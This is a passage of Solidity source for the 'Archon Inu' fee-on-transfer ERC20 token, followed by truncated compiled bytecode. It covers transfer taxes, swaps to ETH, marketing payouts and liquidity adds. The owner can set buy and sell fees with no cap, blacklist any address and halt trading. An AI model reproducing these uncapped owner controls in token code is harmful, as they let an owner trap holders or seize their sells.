_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function UpdateFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b80632fd689e31161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f57806353482196146103aa576101d7565b80630e66e7f1116101ab5780630e66e7f11461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190613011565b61086c565b005b3480156102a257600080fd5b506102ab610905565b6040516102b8919061309d565b60405180910390f35b3480156102cd57600080fd5b506102d661092b565b6040516102e391906130c7565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130e2565b610935565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a0e565b60405161034b91906130c7565b60405180910390f35b34801561036057600080fd5b50610369610a14565b6040516103769190613151565b60405180910390f35b34801561038b57600080fd5b50610394610a1d565b6040516103a1919061317b565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190613196565b610a43565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906131d6565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e91906132c7565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613011565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190613348565b610e08565b6040516104ab91906130c7565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613375565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906130c7565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b604051610541919061317b565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130c7565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613348565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130c7565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190613348565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280600a81526020017f417263686f6e20496e7500000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610942848484611668565b610a038461094e611495565b6109fe85604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b4611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a4b611495565b73ffffffffffffffffffffffffffffffffffffffff16610a69610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab69061342e565b60405180910390fd5b81600681905550806007819055505050565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061342e565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c4861344e565b5b9050602002016020810190610c5e9190613348565b858585818110610c7157610c7061344e565b5b90506020020135612062565b508080610c89906134ac565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de29061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061342e565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c9061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110019061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600981526020017f415243484f4e494e550000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610e08565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130c7565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130c7565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130c7565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b612fee81612faf565b8114612ff957600080fd5b50565b60008135905061300b81612fe5565b92915050565b60006020828403121561302757613026612c85565b5b600061303584828501612ffc565b91505092915050565b6000819050919050565b600061306361305e61305984612d51565b61303e565b612d51565b9050919050565b600061307582613048565b9050919050565b60006130878261306a565b9050919050565b6130978161307c565b82525050565b60006020820190506130b2600083018461308e565b92915050565b6130c181612f39565b82525050565b60006020820190506130dc60008301846130b8565b92915050565b6000806000606084860312156130fb576130fa612c85565b5b600061310986828701612d9a565b935050602061311a86828701612d9a565b925050604061312b86828701612f5a565b9150509250925092565b600060ff82169050919050565b61314b81613135565b82525050565b60006020820190506131666000830184613142565b92915050565b61317581612d71565b82525050565b6000602082019050613190600083018461316c565b92915050565b600080604083850312156131ad576131ac612c85565b5b60006131bb85828601612f5a565b92505060206131cc85828601612f5a565b9150509250929050565b600080604083850312156131ed576131ec612c85565b5b60006131fb85828601612d9a565b925050602061320c85828601612ffc565b9150509250929050565b600080fd5b60008083601f84011261323157613230612c8f565b5b8235905067ffffffffffffffff81111561324e5761324d613216565b5b60208301915083602082028301111561326a57613269612d4c565b5b9250929050565b60008083601f84011261328757613286612c8f565b5b8235905067ffffffffffffffff8111156132a4576132a3613216565b5b6020830191508360208202830111156132c0576132bf612d4c565b5b9250929050565b600080600080604085870312156132e1576132e0612c85565b5b600085013567ffffffffffffffff8111156132ff576132fe612c8a565b5b61330b8782880161321b565b9450945050602085013567ffffffffffffffff81111561332e5761332d612c8a565b5b61333a87828801613271565b925092505092959194509250565b60006020828403121561335e5761335d612c85565b5b600061336c84828501612d9a565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b6020820190509190505